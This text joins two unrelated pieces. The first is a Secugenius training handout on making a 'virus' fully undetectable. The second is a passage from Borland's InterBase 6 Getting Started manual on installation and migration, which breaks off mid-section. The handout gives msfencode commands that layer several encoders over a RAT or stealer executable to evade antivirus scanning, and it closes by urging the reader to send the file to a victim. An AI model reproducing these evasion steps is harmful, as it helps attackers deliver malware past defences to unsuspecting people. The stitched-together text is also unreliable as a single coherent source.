Vous êtes sur la page 1sur 103

Spreading Guide

SECUGENIUS SECURITY SOLUTIONS


--------------------------------------------------------------------------------------

(A UNIT OF HARKSH TECHNOLOGIES PVT. LTD)

Company Profile:
Secugenius Security Solutions is a Student Entrepreneurial Company started by 2 Social Student
Entrepreneurs in 2010 with an aim to make our country Cyber Crime Free. We at SECUGENIUS
are headquartered at Ludhiana, the Manchester of Punjab. The main activities of Secugenius
Security Solutions are providing training in Information Security and various professional courses.
Secugenius Security Solutions is an organization which believes in inventing and implementing new
ideas to influence the technological minds of the youngsters
Looking at the number of Cyber Crimes since last many years, We at Secugenius Security
Solutions provides training on Ethical hacking & Cyber Security to students, IT Professionals, Bank
Employees, Police officials.
Secugenius conducts workshops in all parts of the country in various Colleges/institutions for the
benefit of the students & making them aware of the latest trends in technological era of the
Computer age. We believe in spreading knowledge to all the youngsters & growing minds of the
nation so that they could serve the nation with perfect skill-sets in the field of Cyber Crime
Investigation & Forensic Sciences
Secugenius provides various security solutions to its clients by securing their websites from cyber
attacks. We provide training to college students, graduates and professionals in various fields.
Education is delivered to students through two modes i.e. Regular mode and Distance mode which
are available as short term and long term courses.
In the workshops conducted by Secugenius, participants can claim to be trained by the highly
experienced & skilled corporate trainers from different parts of the nation. We believe in making
the base of students to be as strong as possible. All the modules have been designed in order to
provide students with specialized knowledge by specialized trainers.
This library was furnished, managed and funded by the Founders and Directors of Secugenius
Er. Harpreet Khattar & Er. Kshitij Adhlakha. The overall resource person for the content of
the series of this Digital Library is Er. Chetan Soni - Sr. Security Specialist, Secugenius Security
Solutions.

This Online Digital Library has been initiated as a free resource & permanent
resource on specialization basis for every student of Team Secugenius.

Make your Virus FUD Fully Undetectable without


any Crypters
Product ID No: SG/ODL/13047
Founder & Director: Harpreet Khattar & Kshitij Adhlakha
Resource Person: Chetan Soni & Navdeep Sethi
Secugenius Security Solutions
SCO-13A, Model Town Extn, Near Krishna Mandir,
Ludhiana-141002, Punjab India
support@secugenius.com, info@secugenius.com
www.secugenius.com , www.seculabs.in

Viruses - Viruses are the computer programs whose main purpose is


destroying the data on our systems. It may destroy unimportant data, or it
may decide to erase all of your important document folder and files.
Trojans - It refers to a program that appears as something you may think is
safe, but actually it is hidden inside is usually it is harmful and most probably,
it be a worm or a virus.

Requirements:-

1. Backtrack Operating System


2. MSF encoders
So, our first step is to create a virus file with any of the tools like RAT, stealers, botnets,
payload or anything.
To make it FUD (Fully Undetectable), we use backtrack operating system.
Before going to FUD check your file with ant viruses at virustotal.com and we get
detection ratio 36/44.

Now start terminal in Backtrack OS and go to the directory where you pasted your file.
E.g. cd Desktop
So our first step is to change the permissions of that file (775) by typing this command,
root@bt:~/Desktop# chmod 775 server.exe

Further type this command to encode your virus,


root@bt:~/Desktop# msfencode -i /root/Desktop/Server.exe
/root/Desktop/server2.exe -e x86/shikata_ga_nai -c 10

-t raw -o

Youll notice Antivirus still detected it even though we encoded it 10 times with
x86/shikata_ga_nai encoder.
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server2.exe

Now 2nd time, we use another encoder named as jmp_call_additive


root@bt:~/Desktop# msfencode -i /root/Desktop/Server2.exe -t raw -o
/root/Desktop/Server3.exe -e x86/jmp_call_additive -c 1

Now again change the permissions of this output file,


root@bt:~/Desktop# chmod 775 server3.exe

Now again we use another encoder named as call4_dword_xor


root@bt:~/Desktop# msfencode -i /root/Desktop/Server3.exe -t raw -o
/root/Desktop/Server4.exe -e x86/call4_dword_xor -c 1

Now again change the permissions of this output file,


root@bt:~/Desktop# chmod 775 server4.exe

Now final we encode again with this encoder shikata_ga_nai


root@bt:~/Desktop#
msfencode
-i
/root/Desktop/Server4.exe
/root/Desktop/final.exe -e x86/shikata_ga_nai -c 1

Now again change the permissions of this output file,


root@bt:~/Desktop# chmod 775 final.exe

-o

Now heres your final virus named as final.exe and upload it in virustotal.com and
youll see the results.

And as you'll notice, you have just bypassed anti-virus. Now all you have to do is send it
to the victim and keep enjoying.

InterBase 6

Getting Started

Borland

SOFTWARE CORPORATION

100 Enterprise Way, Scotts Valley, CA 95066 http://www.borland.com

March 5, 2001 (D:\Holly\temp\getstart\getstartedtitle.fm5)

Borland Software Corporation may have patents and/or pending patent applications covering subject matter in
this document. The furnishing of this document does not convey any license to these patents.
Copyright 2001 BorlandSoftware Corporation. All rights reserved. All InterBase and Borland products are
trademarks or registered trademarks of BorlandSoftware Corporation. Other brand and product names are
trademarks or registered trademarks of their respective holders.
1INT0060WW21000 21006
D4

TABLE OF CONTENTS

Table of Contents
CHAPTER 1

System Requirements
Disk space requirements . . . . . . . . . . . . . . . . . . . . . . . 5
Windows system requirements . . . . . . . . . . . . . . . . . . . . 6
UNIX system requirements . . . . . . . . . . . . . . . . . . . . . . 6
Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Solaris . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Requirements for other platforms . . . . . . . . . . . . . . . . . . 6

CHAPTER 2

Installation
Installing InterBase on Windows

. . . . . . . . . . . . . . . . . .7

Installing InterBase on Windows . . . . . . . . . . . . . . . 8


Configuring InterBase . . . . . . . . . . . . . . . . . . . . . 8
Logging on . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Uninstalling InterBase on Windows . . . . . . . . . . . . . 9
Installation on UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Preparing to install on UNIX . . . . . . . . . . . . . . . . . 10
Installing on Solaris . . . . . . . . . . . . . . . . . . . . . . 10
Installing on Linux . . . . . . . . . . . . . . . . . . . . . . . 13
Running multiple versions on UNIX . . . . . . . . . . . . . 16
Uninstalling InterBase on UNIX . . . . . . . . . . . . . . . 16
Installing and accessing InterBase documentation . . . . . . . 17
Full-text searching . . . . . . . . . . . . . . . . . . . . . . . 17
Links . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Installing Acrobat Reader With Search . . . . . . . . . . . 18
CHAPTER 3

Migrating to InterBase 6
Migration process . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Migration Issues . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
InterBase 6 SQL dialects . . . . . . . . . . . . . . . . . . . 20
Servers, databases, and ODS 10 . . . . . . . . . . . . . . . 20
Clients and databases . . . . . . . . . . . . . . . . . . . . . 21

iii

Keywords used as identifiers . . . . . . . . . . . . . . . . . 21


Understanding SQL dialects . . . . . . . . . . . . . . . . . . 22
Setting SQL dialects . . . . . . . . . . . . . . . . . . . . . . . . . 23
Setting isql client dialect . . . . . . . . . . . . . . . . . . . . 23
Setting the gpre client dialect . . . . . . . . . . . . . . . . . 24
Setting the gfix client dialect . . . . . . . . . . . . . . . . . 25
New features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Features available in all dialects . . . . . . . . . . . . . . . 25
Features available only in dialect 3 databases . . . . . . . 26
New keywords . . . . . . . . . . . . . . . . . . . . . . . . . 27
Delimited identifiers . . . . . . . . . . . . . . . . . . . . . . 28
DATE, TIME, and TIMESTAMP datatypes . . . . . . . . . . . 29
DECIMAL and NUMERIC datatypes . . . . . . . . . . . . . . 37
Compiled objects . . . . . . . . . . . . . . . . . . . . . . . . 38
Generators . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Miscellaneous issues . . . . . . . . . . . . . . . . . . . . . . 39
Migrating servers and databases . . . . . . . . . . . . . . . . . . 40
In-place server migration . . . . . . . . . . . . . . . . . . 40
Migrating to a new server . . . . . . . . . . . . . . . . . . . 42
About InterBase 6, dialect 1 databases . . . . . . . . . . . 43
Migrating databases to dialect 3 . . . . . . . . . . . . . . . . . . 43
Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
Method one: in-place migration . . . . . . . . . . . . . . . 44
Method two: migrating to a new database . . . . . . . . . 49
Migrating clients . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
IBReplicator migration issues . . . . . . . . . . . . . . . . . . . 53
Migrating data from other DBMS products . . . . . . . . . . . . 53

iv

INTERBASE 6

CHAPTER

System Requirements

Chapter1

InterBase Server runs on a variety of platforms, including Microsoft Windows NT 4.0,


Windows 2000, Windows 98/ME, and several UNIX/Linux operating systems.
The InterBase server software makes efficient use of system resources on the server node;
the server process uses little more than 1.9MB of memory. Typically, each client
connection to the server adds approximately 115KB of memory. This varies based on the
nature of the client applications and the database design, so this figure is only a baseline
for comparison.
The InterBase client also runs on any of these operating systems. In addition, InterBase
provides the InterClient Java client interface using the JDBC standard for database
connectivity. Client applications written in Java can run on any client platform that
supports Java, even if InterBase does not explicitly list it among its supported platforms.
Examples include Macintosh and Internet appliances with embedded Java capabilities.

Disk space requirements


InterBase requires 35 MB for a full install that includes InterBase Server and Client, Adobe
Acrobat Reader, and the full document set. 17MB for InterBase Server and Client alone.
During operation, InterBases sorting routine requires additional disk space as scratch
space. The amount of space depends on the volume and type of data the server is
requested to sort.

CHAPTER 1 SYSTEM REQUIREMENTS

Windows system requirements


Operating system: Windows NT 4.0 with Service Pack 6a, Windows 98, Windows ME, or
Windows 2000 Service Pack 1
Memory: 16 megabytes minimum; 64 recommended for a server
Processor/Hardware model: 486DX2 66MHz minimum; Pentium 100MHz or greater
recommended for a multiclient server
Compiler: Microsoft Visual C++ 4.2 (or later) or Borland C++ Builder 4.0 (or later)

UNIX system requirements


Linux
Operating system: RedHat 6.2 or 7.0; TurboLinux 6.0; SuSe 7.0; Mandrake 7.2
Memory: 32 megabytes minimum; 64 recommended for a server
Processor/Hardware Model: Intel 486 or higher
Compiler: GCC or G++

Solaris
Operating system: Solaris 2.6 or 2.7
Memory: 32 megabytes minimum; 64 recommended for a server
Processor/Hardware Model: SPARC or UltraSPARC
C Compiler: SPARCWorks SC 4.2 C compiler
C++ Compiler: SPARCWorks SC 3.0.1. C++ compiler
Note InterBase on Solaris uses a OS-specific install utility called pkgadd. Install the Solaris

software using the setup.ksh script.

Requirements for other platforms


Refer to online sources of information, including release notes included on your product
media and the Borland web site, for more information on supported platforms, operating
systems, and compilers.
6

INTERBASE 6

INSTALLING INTERBASE ON WINDOWS

CHAPTER

Installation

Chapter2

This chapter contains detailed instructions for installing InterBase on Windows 98/ME,
Windows NT, Windows 2000, Linux, and Solaris.
InterBase might install differently on other platforms due to operating system
requirements. Refer to installation notes included in the software package, on the media,
or on the Borland web site (http://www.borland.com/interbase) for platform-specific
installation instructions.

Installing InterBase on Windows


By default, InterBase files are installed in c:\Program Files\InterBase on Windows
platforms. You can use the INTERBASE environment variable to change this location. See
the Operations Guide for information about setting environment variables.

IMPORTANT

You cannot install InterBase onto a network (mapped) drive.

CHAPTER 2 INSTALLATION

Installing InterBase on Windows


1. If you are installing InterBase 6 on a system running Windows NT or
Windows 2000, log in as a user with Administrator privileges.
2. If InterBase 5.6 or earlier is present on the system:
- Backup all InterBase databases. This is a required step.
- Stop the InterBase server.
- Use Control Panel | Add/Remove Programs to uninstall any previous versions of
InterBase.
Note Please see the Migration section of this manual for a detailed explanation of the

decisions and steps required in migrating databases from InterBase 5 to InterBase 6.


3. If the file gds32.dll is present on the hard disk, delete the file; the uninstall
step does not remove this file and only one version of this file can exist on
the disk.
4. Insert the InterBase 6 distribution CD-ROM into the CD drive.
5. If Autoplay does not start the installation process, run setup.exe from the
root directory of the CD-ROM.
6. Follow the directions on screen.

Configuring InterBase
You can control many aspects of how InterBase runs, including server and database
configurations, backup and restore, and database replication. See the Operations Guide
for information on these topics.

Logging on
To attach to any database, you must have a user name and password. When you first
install InterBase, there is one user defined: SYSDBA. The password is masterkey. SYSDBA
has special privileges that override normal SQL security, and there are database
maintenance tasks that only SYSDBA can perform. You should change the SYSDBA
password immediately after installing InterBase.
Use IBConsole or the gsec utility to change a password and create additional users. For
more information see the IBConsole online help or the Operations Guide.

INTERBASE 6

INSTALLATION ON UNIX

Uninstalling InterBase on Windows


To uninstall InterBase and InterBase Express, use Control Panel | Add/Remove Programs. Choose
InterBase or InterBase Documentation, and click Add/Remove.
InterBase documentation is removed when the InterBase Client or Server is uninstalled.


The InterBase Server, Guardian, and InterServer processes must not be running when you
uninstall the software. To stop one of these applications, right-click its icon in the Task
Tray and selecting Shutdown. To stop one of these services (Windows NT/2000), use the
Control Panel | Services applet.

You must be logged in as a user with Administrator privileges to install or uninstall


InterBase on Windows NT/2000.

Uninstall never removes isc4.gdb or files created by the server process, including
interbase.log, host.evn, host.lck.

The Windows InterBase installation allows you to choose between performing a complete
install or selecting individual components. If you choose to install components at
different times, the uninstall program removes only the components selected for the last
install.

The ODBC driver or the ODBC driver manager must be removed manually; there is no
uninstall available through the Windows control panel.

Installation on UNIX
This section provides instructions for installing InterBase 6 on Solaris and Linux. For
platform-specific instruction on installing InterBase on other UNIX brands, see the
InterBase web site (http://www.borland.com/interbase).
By default, InterBase files are installed in /opt/interbase. On the Solaris platform, the
install program still creates a symbolic link from /usr/interbase to /opt/interbase. On
Linux, there is no symbolic link from /usr/interbase to an actual install directory. You
can use the INTERBASE environment variable to change this location. See the Operations
Guide for information about setting environment variables.

CHAPTER 2 INSTALLATION

Preparing to install on UNIX


1. Save older databases
InterBase 6 uses a new On-Disk Structure (ODS), ODS 10. Databases created with
InterBase 5 used ODS 9.1. To take advantage of new InterBase 6 features, you must
use gbak to back up any databases that you intend to use with the Version 6 software.
V5 databases can be backed up using V5 gbak or with the InterBase 6 gbak if you are
performing the backup after the install. Once a database has been converted to ODS
10, it cannot be converted back to earlier versions of the ODS. For more information,
refer to the Migration chapter.
2. Save customization files
If you have InterBase 5 installed on the server and you want to preserve the
customization files, copy them to a safe place, for example:
gbak b /usr/interbase/isc4.gdb /var/tmp/isc4.gbak
cp /usr/interbase/isc_license.dat /var/tmp
cp /usr/interbase/isc_config /var/tmp

You can skip this step if you haven't customized these files in a previous installation.
Note When you use pkgrm remove InterBase V5 for Solaris, these files are

automatically saved in /usr/tmp.


3. Save older versions
If InterBase 5 is running on your server, shut it down. To save the current version,
rename the directory, for example:
ibmgr -shut -user sysdba -password password
mv /usr/interbase /usr/interbase.save

4. Point to the install directory


If you install into a directory other than /opt/interbase on Solaris, the install program
creates a symbolic link from /usr/interbase to that directory. If you install into a directory
other than /opt/interbase on Linux, the install program creates a symbolic link from
/opt/interbase to that directory.

Installing on Solaris
InterBase requires Solaris versions 2.6.x. or 7. These instructions are for both server and
client installations:

10

INTERBASE 6

INSTALLATION ON UNIX

1. Log in to your database server as root.


2. Load the CD-ROM with the InterBase 6 product. Mount the CD-ROM at an
appropriate mount point. If you have the volume manager running, this is
done for you, and the CD-ROM mounts according to its label. For instance
/cdrom/interbase_sos_V6 for the CD-ROM of InterBase 6 for Solaris.
3. Run setup.ksh. setup.ksh brings up the following menu:
1.Install InterBase Client and Server software
2.Install InterBase Client Only software
3.Install Adobe Acrobat Reader software
4.Exit
Enter selection.(default 1) [1-4]

The following sections describe these options

 Installing InterBase Client and Server on Solaris


When you select Install InterBase Client and Server software from the menu, the setup
script displays the following messages and starts the pkgadd utility:
Starting InterBase Client and Server Install, please wait...
set NONABI_SCRIPTS=TRUE
export NONABI_SCRIPTS
pkgadd -d CDROM_DIR/Interbase6.0_ClientServerpkg
The following packages are available:
1 interbase InterBase RDBMS Software
(sparc) InterBase Version 6.0
Select package(s) you wish to process (or all to process
all packages). (default: all) [?,??,q]:

1. Press u to choose the Install InterBase default.


Processing package instance <interbase> from
</cdrom/interbase_SOS_V6>
InterBase RDBMS Software
(sparc) InterBase Version 6.0
Enter the absolute pathname of the install directory
(default /usr) [?,q]

2. Press u to accept the default or type in the pathname in which to create


the interbase directory.
Using </usr> as the package base directory.

11

CHAPTER 2 INSTALLATION

##
##
##
##
##

Processing package information.


Processing system information.
Verifying disk space requirements.
Checking for conflicts with packages already installed.
Checking for setuid/setgid programs.

This package contains scripts which will be executed with superuser


permission during the process of installing this package.
Do you want to continue with the installation of <interbase> [y,n,?]

3. Choose y. The installation script must have superuser privilege to modify


system files and create symbolic links.
Installing InterBase RDBMS Software as <interbase>
## Installing part 1 of 1.
/usr/interbase/install.txt
/usr/interbase/Release_Notes.pdf
. . .
[ verifying class <none> ]
## Executing postinstall script.
. . .

The InterBase install script looks for the InterClient installation script on the CD-ROM,
and runs it if possible. See Uninstalling InterBase on UNIX on page 16.
Thereafter, the install script returns to pkgadd:
Installation of <interbase> was successful.
The following packages are available:
1 interbase InterBase RDBMS Software
(sparc) InterBase Version 6.0
Select package(s) you wish to process (or all to process
all packages). (default: all) [?,??,q]:

4. Choose q. There is only one package to install using pkgadd.


5. If you saved customization files, restore them now with the ones you backed
up before installing InterBase 6. For example:
# cp /tmp/isc_config /usr/interbase

6. If you intend to run the ibserver daemon as a user other than root, create a
UNIX user account named interbase on your machine. Log in as this user
before starting the SuperServer with the ibmgr utility.

12

INTERBASE 6

INSTALLATION ON UNIX

Note We recommend that you create an interbase user account and use this account

for all database maintenance; this will make tasks such as backup and restore run much
more smoothly.
7. Execute the following command to start the InterBase Server:
# echo /usr/interbase/bin/ibmgr start forever | su interbase

This starts the SuperServer daemon (ibserver) and a guardian (ibguard) program that
keeps track of ibserver.
8. Now that the server is running, you can restore the security database with the
ones you backed up before installing InterBase 6:
# gbak r /tmp/isc4.gbak jupiter:/usr/interbase/isc4.gdb

9. To test your existing databases with InterBase 6, use gbak to restore the
backup files you created before upgrading.

Installing on Linux
For both the SuperServer and Classic versions of InterBase, default installation directories
on Linux are as follows:
/opt/interbase

executables

/usr/lib

libraries

/usr/include

header files

InterBase SuperServer for Linux requires glibc (libc6) Version 2.1. InterBase does not
work with the older Version 2.0 library.

 Installing with Red Hat Package manager (RPM)


1. Log into your datase server as root.
2. Uninstall any previous versions of InterBase.
3. Install InterBase 6 using the RPM utility, for example:
rpm -i interbase-6.0-1.i386.rpm

4. Check that /etc/hosts contains the following line:


127.0.0.1 localhost

5. Check that /etc/hosts.equiv exists on the system and contains localhost. If


the file already exists but does not contain localhost, edit the file to add it.
If /etc/hosts.equiv does not exist, create it as follows:

13

CHAPTER 2 INSTALLATION

echo localhost > /etc/hosts.equiv

IMPORTANT

If /etc/hosts.equiv already exists on the system, then the command above will
overwrite your current file, and all the information that was in it will be lost.
6. To test SuperServer installations do the following:
- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

- Start the isql utility and connect to the example database:


isql localhost:/opt/interbase/examples/employee.gdb

7. To test Classic installations do the following:


- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

Note The Classic architecture permits application processes to perform I/O on database

files directly, whereas SuperServer requires applications to request the ibserver I/O
operations by proxy, using a network method. The local access method is only usable by
applications that run on the same host as the database. Thus we need to test both local
and remote access for Classic servers.
- To test local access, start isql locally and connect to the example database:
isql /opt/interbase/examples/employee.gdb

- To test remote access, start the isql utility and connect to the example database:
isql localhost:/opt/interbase/examples/employee.gdb

 Installing from a tar file


1. Log into your database server as root.
2. Uninstall any previous versions of InterBase.
3. Extract the install script and the InterBase kit using the tar utility, for
example:
tar xvf InterBaseSS_LI-B6.0.tar

4. Run the install script, for example:


./install /tmp/InterBase_LI-V6.0.tgz

14

INTERBASE 6

INSTALLATION ON UNIX

5. Check that /etc/hosts contains the following line:


127.0.0.1 localhost

6. Check that /etc/hosts.equiv exists on the system and contains localhost. If


the file already exists but does not contain localhost, edit the file to add it.
If /etc/hosts.equiv does not exist, create it as follows:
echo localhost > /etc/hosts.equiv

IMPORTANT

If /etc/hosts.equiv already exists on the system, then the command above will
overwrite your current file, and all the information that was in it will be lost.
7. To test SuperServer installations do the following:
- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

- Start the isql utility and connect to the example database:


isql localhost:/opt/interbase/examples/employee.gdb

8. To test Classic installations do the following:


- Make sure that a search path (environment variable PATH) contains
/opt/interbase/bin.
- Start the ibserver in /opt/interbase/bin with:
ibmgr -start -forever -user SYSDBA -password masterkey

Note The Classic architecture permits application processes to perform I/O on database

files directly, whereas SuperServer requires applications to request the ibserver I/O
operations by proxy, using a network method. The local access method is only usable by
applications that run on the same host as the database. Thus we need to test both local
and remote access for Classic servers.
- To test local access, start isql locally and connect to the example database:
isql /opt/interbase/examples/employee.gdb

- To test remote access, start the isql utility and connect to the example database:
isql localhost:/opt/interbase/examples/employee.gdb

Note Change all instances of /usr/interbase to /opt/interbase.

15

CHAPTER 2 INSTALLATION

Running multiple versions on UNIX


We support both SuperServer and Classic architectures on Linux, and you can switch
between versions of the same architecture as well as different architectures on the same
host. To start a specific version, start the server in the directory to which the symbolic
link points. To start the server daemon, follow the steps in UNIX daemon in the
Operations Guide.

Uninstalling InterBase on UNIX


On Solaris, use pkgrm to remove the InterBase 6 package:
# pkgrm interbase

On Linux, if InterBase was installed using RPM, use RPM to uninstall InterBase, for
example:
rpm -e NameofInterBasePackage
On Linux, if InterBase was installed using a tar file, follow these steps to uninstall
InterBase.


SuperServer:
1. If ibserver is running, use the following command to shut down the server:
ibmgr -shut -pass password

2. Copy the ibinstall.log file from the InterBase install directory


(/opt/interbase) to /tmp.
3. Delete the InterBase install directory.
4. Remove all the InterBase files from the /usr/lib and /usr/include
directories; see /tmp/ibinstall.log for the list of files.
5. Remove the InterBase entry from /etc/services; see /tmp/ibinstall.log for
the InterBase entry.


Classic:
1. If gds_lock_mgr is running, use the following command to shut down the
lock manager:
gds_drop -s

2. Copy the ibinstall.log file from the InterBase install directory


(/opt/interbase) to /tmp.
3. Delete the InterBase install directory.

16

INTERBASE 6

INSTALLING AND ACCESSING INTERBASE DOCUMENTATION

4. Remove all the InterBase files from the /usr/lib, /usr/local/sbin, and
/usr/include directories; see /tmp/ibinstall.log for the list of files.
5. Remove the InterBase entry from /etc/inetd.conf; see /tmp/ibinstall.log for
the InterBase entry.
6. Find the inetd process id in /var/run/inetd.pid and send the signal SIGHUP
to the inetd process to tell it to re-read the configuration file and not listen
on port 3050 (gds_db) any more.
7. Remove the InterBase entry from /etc/services; see /tmp/ibinstall.log for
the InterBase entry.

Installing and accessing InterBase documentation


You can install the InterBase documentation in PDF form on your hard drive; this requires
about 24 MB of disk space. Or, you can install shortcuts to the documentation, in which
case you must insert the InterBase CD-ROM each time you want to refer to the
documentation.
You need Adobe Acrobat Reader With Search to view and search the documentation. The
InterBase CD-ROM includes Acrobat Reader With Search (English version) of UNIX and
Windows platforms. The files are in subdirectories of the /Adobe directory on the
InterBase CD-ROM.
To access all of the books from a single document, open 2AllBooks.pdf. It contains links to
the rest of the document set.
The InterBase document set consists of the API Guide, the Data Definition Guide, the
Developers Guide, the Embedded SQL Guide (formerly the Programmers Guide),
Getting Started, the Language Reference, the Operations Guide, and Release Notes.

Full-text searching
The document set has been indexed for full-text searching. If you are viewing the
documents using Acrobat Reader With Search, you can enter a query and receive a list of
hits from all five books in the InterBase document set.
To use full-text searching, click the
button and search for a word or phrase. Acrobat
Reader returns a list of books that contain the phrase. Choose the book you want to start
looking in to display the first instance. You then use the
and
buttons to step
forward and back through instances of your search target. Reader moves from one book
to the next. To go to a different book at will, click the
button to display the found
list.

17

CHAPTER 2 INSTALLATION

Note that full-text searching is not the same as Find (


current document.
Tip

), which searches only the

On UNIX and Linux, always open documents using an absolute pathname to the PDF
file, to make Acrobat Reader With Search associate the index with the PDF document
correctly.

Links
The PDF documentation set contains many hypertext links that take you to referenced
points in the document with a single click. In addition, the Table of Contents and Index
entries are hypertext links and therefore are clickable. Throughout the document set,
clickable links appear bold and green.

Installing Acrobat Reader With Search


On Windows

You can install Acrobat Reader 3.01 With Search by choosing Install Adobe Acrobat
Reader 3.0 from the InterBase Launcher. You can also install it directly by running
setup.exe from the /Adobe directory of the InterBase CD-ROM.
On UNIX

The InterBase CD-ROM includes Acrobat Reader With Search for both the UNIX platform
and for Windows. The files are in subdirectories of the /Adobe directory on the InterBase
CD-ROM. Read instguid.txt in the /Adobe/UNIX platform directory for UNIX installation
instructions. To install on a Windows platform, run setup.exe in the /Adobe/Windows
directory.
From the Adobe website

If you dont have the InterBase CD-ROM handy, you can get Acrobat Reader for free from
the Adobe website. Its at http://www.adobe.com/products/acrobat. Check the box next to
Include option for searching PDF files... to download Acrobat Reader With Search, not
the plain Acrobat Reader.

18

INTERBASE 6

CHAPTER

Migrating to InterBase 6

Chapter3

This chapter describes how to plan and execute a smooth migration from earlier versions
of InterBase to InterBase 6. Topics in this chapter include:


Migration issues: on-disk structure and dialects

Migration paths

Delphi, C++ Builder and InterBase 6: BDE and IBX


Note See the Release Notes for a detailed introduction to new InterBase features.

Migration process
These are the steps you must take to migrate servers, databases, and clients. Each is
discussed in detail in later sections:


Server and database migration


1. Backup all databases to be migrated
2. Install the InterBase 6 server
3. Restore databases to be migrated; at this point, you have dialect 1 databases
4. Validate migrated databases
5. Migrate databases to SQL dialect 3 (see pages 43 to 51)

19

CHAPTER 3 MIGRATING TO INTERBASE 6

Client migration
1. Identify the clients that must be upgraded to InterBase 6
2. Identify areas in your application which may need upgrading
3. Install the InterBase 6 client to each machine that requires it
4. Upgrade SQL applications to SQL dialect 3

Migration Issues
Before migrating your databases, you need to learn about InterBase 6 SQL dialects and
understand their effect on servers, clients, and the use of new InterBase 6 features.

InterBase 6 SQL dialects


InterBase recognizes different client and database dialects to allow users more mobility
in how their legacy databases are used, accessed, and updated. In InterBase 6, each client
and database has an SQL dialect: an indicator that instructs an InterBase 6 server how to
interpret transition features: those features whose meanings have changed between
InterBase versions. The following transition features have different meanings based on
the dialect used by the client applications:


Double quote (): changed from a synonym for the single quote () to the delimiter for
an object name

DECIMAL and NUMERIC datatypes with precision greater than 9: now stored as INT64
datatypes instead of DOUBLE PRECISION

DATE, TIME, and TIMESTAMP datatypes: DATE has changed from a 64-bit quantity containing

both date and time information to a 32-bit quantity containing only date information.
TIME is a 32-bit quantity containing only time information, while TIMESTAMP is a 64-bit
quantity containing both date and time information (the same as DATE in pre-Version 6
SQL).

Servers, databases, and ODS 10


InterBase 6 databases are stored in the ODS 10 data format. This format is
backward-compatible with older formats.


20

If you upgrade a server to InterBase 6, you have the option to migrate the databases that
it accesses to InterBase 6 as well.

INTERBASE 6

MIGRATION ISSUES

If you do not upgrade a server, you do not need to migrate the databases that it accesses.
InterBase 5 and older servers can access InterBase 6 databases.

Clients and databases


Clients and databases each have dialects. Servers do not themselves have a dialect, but
they interpret data structures and client requests based on the dialect of each.
Applications using an older version of the InterBase client work with the InterBase 6
server and its databases with some restrictions:


Version 5 clients cannot access dialect 3 columns that are stored as INT64, TIME, or DATE.
(DECIMAL and NUMERIC columns with precision greater than 9 are stored as INT64.)

Version 5 clients cannot display new datatypes in metadata using the SHOW command, or
any equivalent.

Version 5 clients interpret the DATE datatype as TIMESTAMP, since that was the definition
of DATE prior to InterBase 6.

Version 5 clients cannot access any object named with a delimited identifiers.

Clients that use the Borland Database Engine (BDE) to access an InterBase 6.0 server are
not able to access any of the new field type regardless of the version of the InterBase
client installed.

Keywords used as identifiers


Version 5 clients have one advantage over version 6 clients: If you migrate an older
database that uses some of the new version 6 keywords as identifiers to version 6 dialect
1, these older version 5 clients can still access those keyword objects. Version 6 dialect 1
cannot do so. Dialect 3 clients can access these keyword objects if they are delimited in
double quotes.
If version 5 clients use any of the new InterBase 6 keywords as object names, the
InterBase 6 server permits this without error because it recognizes that these clients were
created at a time when these were not keywords.
Example

For example, the following statement uses the new keyword word TIME:
SELECT TIME FROM atable;

This statement, when executed via a pre-InterBase 6 client returns the information as it
did in previous versions. If this same query is issued using a version 6 client, an error is
returned since TIME is now a reserved word. See page 27 for a list of new keywords.

21

CHAPTER 3 MIGRATING TO INTERBASE 6

Understanding SQL dialects


Below are explanations of server and client behavior with SQL dialects 1, 2, and 3.

 Dialect 1 clients and databases


In dialect 1, the InterBase 6 server interprets transition features just like an InterBase 5
server:


Double quoted text is interpreted as a string literal. Delimited identifiers are not available.

The DATE datatype contains both time and date information and is interpreted as
TIMESTAMP; the name has changed but the meaning has not. Dialect 1 clients expect the
entire timestamp to be returned. In dialect 1, DATE and TIMESTAMP are identical.

The TIME datatype is not available.

Dialect 1 databases store DECIMAL and NUMERIC datatypes with precision greater than 9
as DOUBLE PRECISION, not INT64. In clients: The dialect 1 client expects information stored
in these datatypes to be returned as double precision; such clients cannot create database
fields to hold 64-bit integers.
An InterBase 6 server recognizes all the other InterBase 6 features in dialect 1 clients and
databases.

 Dialect 2 clients
Dialect 2 is available only on the client side. It is intended for assessing possible problems
in legacy metadata that is being migrated to dialect 3. To determine where the problem
spots are when you migrate a database from dialect 1 to dialect 3, you extract the
metadata from the database, set isql to dialect 2, and then run that metadata file through
isql. isql issues warning whenever it encounters double quotes, DATE datatypes, or large
exact numerics to alert you to places where you might need to change the metadata in
order to make a successful migration to dialect 3.
To detect problem areas in the metadata of a database that you are migrating, extract the
metadata and run it through a dialect 2 client, which will report all instances of transition
features. For example:
isql -i v5metadata.sql

Do not assign dialect 2 to databases.

 Dialect 3 clients and databases


In dialect 3, the InterBase server interprets transition features as InterBase 6 SQL
92-compliant:


22

Double quoted strings are treated as delimited identifiers.

INTERBASE 6

SETTING SQL DIALECTS

Dialect 3 DATE datatype fields contain only date information. Dialect 3 clients expect only
date information from a field of datatype DATE.

The TIME datatype is available, and stores only time information.

Dialect 3 databases store DECIMAL and NUMERIC datatypes with precision greater than 9
as INT64 if and only if they are in columns that were created in dialect 3. Dialect 3 clients
expect DECIMAL and NUMERIC datatypes with precision greater than 9 to be returned as
INT64. (To learn how to migrate older data to INT64 storage, see Migrating databases to
dialect 3 on page 43 and Migrating NUMERIC and DECIMAL datatypes on page 48.)

Setting SQL dialects


